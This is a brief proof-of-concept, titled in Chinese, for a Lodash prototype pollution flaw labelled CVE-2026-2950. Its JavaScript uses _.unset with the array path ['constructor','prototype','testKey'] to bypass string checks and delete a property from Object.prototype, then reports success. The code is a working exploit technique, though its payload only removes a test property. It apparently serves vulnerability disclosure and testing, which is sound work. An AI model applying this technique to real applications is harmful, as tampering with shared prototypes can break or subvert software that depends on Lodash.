CVE-2026-2950 Lodash原型污染漏洞

const _ = require('lodash'); // 1. Setup: Add a test property to Object.prototype Object.prototype.testKey = 'initial_value'; console.log('[+] Before Exploit: Object.prototype.testKey =', Object.prototype.testKey); // 2. Exploit: Use array-wrapped path to bypass string checks and delete the property // The path ['constructor', 'prototype', 'testKey'] resolves to Object.prototype.testKey var payload = {}; _.unset(payload, ['constructor', 'prototype', 'testKey']); // 3. Verification: Check if the property is deleted from the prototype if (!Object.prototype.hasOwnProperty('testKey')) { console.log('[!] Exploit Successful: Property deleted from Object.prototype'); } else { console.log('[-] Exploit Failed: Property still exists'); }